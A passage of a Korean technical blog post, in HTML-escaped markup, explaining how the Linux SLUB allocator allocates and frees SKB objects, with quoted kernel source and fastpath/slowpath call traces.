	&lt;span class=&quot;n&quot;&gt;copy_from_kernel_nofault&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freepointer_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;sizeof&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;));&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;return&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freelist_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;p&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freepointer_addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;이렇게 얻어진 주소는 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;raw_cpu_generic_cmpxchg_double()&lt;/code&gt;에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;freelist&lt;/code&gt;에 쓰여지게 된다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* include/asm-generic/percpu.h */&lt;/span&gt;
&lt;span class=&quot;cm&quot;&gt;/* 
   pcp1 = s-&amp;gt;cpu_slab-&amp;gt;freelist
   pcp2 = s-&amp;gt;cpu_slab-&amp;gt;tid
   oval1 = object (= freelist)
   oval2 = tid
   nval1 = next_object (= get_freepointer_safe())
   nval2 = next_tid(tid)
*/&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#define raw_cpu_generic_cmpxchg_double(pcp1, pcp2, oval1, oval2, nval1, nval2) \
({									\
	typeof(pcp1) *__p1 = raw_cpu_ptr(&amp;amp;(pcp1));			\
	typeof(pcp2) *__p2 = raw_cpu_ptr(&amp;amp;(pcp2));			\
	int __ret = 0;							\
	if (*__p1 == (oval1) &amp;amp;&amp;amp; *__p2  == (oval2)) {			\
		*__p1 = nval1;						\
		*__p2 = nval2;						\
		__ret = 1;						\
	}								\
	(__ret);							\
})
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;정리하면, 커널 내부에서 사용되는 오브젝트, 특히 SKB를 할당할 때의 우선순위는 다음과 같다:&lt;/p&gt;

&lt;ol&gt;
  &lt;li&gt;Slab cache (skbuff cache) freelist&lt;/li&gt;
  &lt;li&gt;Slub per-cpu partial list&lt;/li&gt;
  &lt;li&gt;NUMA node partial list&lt;/li&gt;
  &lt;li&gt;Page allocator (zoned buddy allocator)
    &lt;ol&gt;
      &lt;li&gt;Per-cpu freelis&lt;/li&gt;
      &lt;li&gt;Other paths …&lt;/li&gt;
    &lt;/ol&gt;
  &lt;/li&gt;
&lt;/ol&gt;

&lt;h2 id=&quot;slub-allocator-and-skb-deallocation&quot;&gt;SLUB allocator and SKB deallocation&lt;/h2&gt;

&lt;p&gt;SLUB allocator는 slab이 해제될 때 이 slab이 속한 페이지를 partial list에 넣는다. 그런데 이때 slab 전체가 해제된 경우 그 페이지는 page allocator가 갖게 된다[1].&lt;/p&gt;

&lt;p&gt;SKB를 해제하는 과정은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kfree_skb&lt;/code&gt; 함수에서부터 시작된다. (&lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kfree()&lt;/code&gt;의 call trace가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_free()&lt;/code&gt;에서부터 겹침을 확인하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

kfree_skb()                                           kfree()
__kfree_skb()                                         slab_free()
kfree_skbmem()
kmem_cache_free()
slab_free() /* s = skbuff_head_cache
               page = virt_to_head_page(skb)
               head = skb
               tail = NULL
               cnt = 1
               addr = _RET_IP */
do_slab_free() /* this function is fastpath */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;만약 해제하고자 하는 slab이 속한 페이지와 cpu slab이 바라보고 있는 페이지가 같다면, 그 freelist를 조작하는 것으로 작업을 끝낼 수 있다. 이것이 slab free에서의 fastpath이고, 상기의 조건을 만족시키지 못한다면 slowpath로 넘어간다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Fastpath with forced inlining to produce a kfree and kmem_cache_free that
 * can perform fastpath freeing without additional function calls.
 *
 * The fastpath is only possible if we are freeing to the current cpu slab
 * of this processor. This typically the case if we have just allocated
 * the item before.
 *
 * If fastpath is not possible then fall back to __slab_free where we deal
 * with all sorts of special processing.
 *
 * Bulk free of a freelist with several objects (all pointing to the
 * same page) possible by specifying head and tail ptr, plus objects
 * count (cnt). Bulk free indicated by tail pointer being set.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;__always_inline&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;do_slab_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
				&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tail_obj&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;?&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;:&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_cpu&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* memcg_slab_free_hook() is already called for bulk free. */&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;!&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;memcg_slab_free_hook&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;mi&quot;&gt;1&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;nl&quot;&gt;redo:&lt;/span&gt;
	&lt;span class=&quot;cm&quot;&gt;/*
	 * Determine the currently cpus per cpu slab.
	 * The cpu may change afterward. However that does not matter since
	 * data is retrieved via this pointer. If we are on the same cpu
	 * during the cmpxchg then the free will succeed.
	 */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;raw_cpu_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;READ_ONCE&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

	&lt;span class=&quot;cm&quot;&gt;/* Same with comment on barrier() in slab_alloc_node() */&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;barrier&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;();&lt;/span&gt;

	&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;likely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;==&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifndef CONFIG_PREEMPT_RT
&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#else &lt;/span&gt;&lt;span class=&quot;cm&quot;&gt;/* CONFIG_PREEMPT_RT */&lt;/span&gt;&lt;span class=&quot;cp&quot;&gt;
&lt;/span&gt;		&lt;span class=&quot;cm&quot;&gt;/*
		 * We cannot use the lockless fastpath on PREEMPT_RT because if
		 * a slowpath has taken the local_lock_irqsave(), it is not
		 * protected against a fast path operation in an irq handler. So
		 * we need to take the local_lock. We shouldn&apos;t simply defer to
		 * __slab_free() as that wouldn&apos;t use the cpu freelist at all.
		 */&lt;/span&gt;
		&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;**&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;local_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;this_cpu_ptr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;k&quot;&gt;if&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;unlikely&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;!=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;))&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
			&lt;span class=&quot;n&quot;&gt;local_unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
			&lt;span class=&quot;k&quot;&gt;goto&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;redo&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;set_freepointer&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tail_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;freelist&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;c&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;=&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;next_tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tid&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

		&lt;span class=&quot;n&quot;&gt;local_unlock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;&amp;amp;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;cpu_slab&lt;/span&gt;&lt;span class=&quot;o&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;		&lt;span class=&quot;n&quot;&gt;stat&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;FREE_FASTPATH&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;
	&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;else&lt;/span&gt;
		&lt;span class=&quot;n&quot;&gt;__slab_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;tail_obj&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;);&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;Slowpath에서 계속 따라가면 다음과 같이 call trace를 그려볼 수 있다. (아래 call trace에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;else condition&lt;/code&gt;은 다른 조건이 만족되지 않을 경우 진행되는 경로임에 주의;  &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;kfree()&lt;/code&gt;의 call trace가 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab_free()&lt;/code&gt;에서부터 겹침을 확인하라)&lt;/p&gt;

&lt;div class=&quot;language-plaintext highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;/* function call trace */

kfree_skb()                                           kfree()
__kfree_skb()                                         slab_free()
kfree_skbmem()
kmem_cache_free()
slab_free() /* s = skbuff_head_cache,
               page = virt_to_head_page(skb),
               head = skb,
               tail = NULL,
               cnt = 1,
               addr = _RET_IP */
do_slab_free() /* this function is fastpath */
     |
     |slowpath
     |
     V
__slab_free() /* s = skbuff_head_cache,
     |           page = virt_to_head_page(skb),
     |           head = skb,
     |           tail = skb,
     |           cnt = 1,
     |           addr = _RET_IP_ */
     |
     +---------------------------+---------------------------------+
     |if slab is empty           |likely,                          |
     |                           |if slab is full                  |
     |                           |                                 |
     |                           |                                 |
     |page list                  |per-cpu partial list             |NUMA node partial
     |                           |                                 |list
     |                           |                                 |
     V                           V                                 V
discard_slab()&amp;lt;--+            put_cpu_partial()/* drain=1 */ add_partial() &amp;lt;---+
free_slab()      |               |                           __add_partial()   |
__free_slab()    |slab empty     |per-cpu partial list                         |else
__free_pages()   |               |is full                                      |condition
free_the_page()  |               |                                             |
    |            |               V                                             |
    |            +----------- __unfreeze_partials()----------------------------+
    |order &amp;lt;= 3
    |
    V
free_unref_page()
free_unref_page_commit() /* Free a pcp page */
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;p&gt;위 call trace에서 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab empty&lt;/code&gt;와 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;slab full&lt;/code&gt;, &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;per-cpu partial list full&lt;/code&gt;의 조건은 &lt;code class=&quot;language-plaintext highlighter-rouge&quot;&gt;__slab_free()&lt;/code&gt;에서 확인할 수 있다.&lt;/p&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slab.h */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * The slab lists for all objects.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache_node&lt;/span&gt; &lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;spinlock_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list_lock&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;

&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLAB
&lt;/span&gt;	&lt;span class=&quot;cm&quot;&gt;/* ... */&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB
&lt;/span&gt;	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nr_partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list_head&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;partial&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#ifdef CONFIG_SLUB_DEBUG
&lt;/span&gt;	&lt;span class=&quot;n&quot;&gt;atomic_long_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;nr_slabs&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;n&quot;&gt;atomic_long_t&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;total_objects&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;list_head&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;full&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
&lt;span class=&quot;cp&quot;&gt;#endif
#endif
&lt;/span&gt;
&lt;span class=&quot;p&quot;&gt;};&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;/div&gt;

&lt;div class=&quot;language-c highlighter-rouge&quot;&gt;&lt;div class=&quot;highlight&quot;&gt;&lt;pre class=&quot;highlight&quot;&gt;&lt;code&gt;&lt;span class=&quot;cm&quot;&gt;/* mm/slub.c */&lt;/span&gt;

&lt;span class=&quot;cm&quot;&gt;/*
 * Slow path handling. This may still be called frequently since objects
 * have a longer lifetime than the cpu slabs in most processing loads.
 *
 * So we still attempt to reduce cache line usage. Just take the slab
 * lock and free the item. If there is no additional partial page
 * handling required then we can return immediately.
 */&lt;/span&gt;
&lt;span class=&quot;k&quot;&gt;static&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;nf&quot;&gt;__slab_free&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;kmem_cache&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;s&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;page&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;head&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;tail&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;cnt&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;,&lt;/span&gt;
			&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;addr&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;)&lt;/span&gt;

&lt;span class=&quot;p&quot;&gt;{&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;void&lt;/span&gt; &lt;span class=&quot;o&quot;&gt;*&lt;/span&gt;&lt;span class=&quot;n&quot;&gt;prior&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;int&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;was_frozen&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;k&quot;&gt;struct&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;page&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;new&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
	&lt;span class=&quot;kt&quot;&gt;unsigned&lt;/span&gt; &lt;span class=&quot;kt&quot;&gt;long&lt;/span&gt; &lt;span class=&quot;n&quot;&gt;counters&lt;/span&gt;&lt;span class=&quot;p&quot;&gt;;&lt;/span&gt;
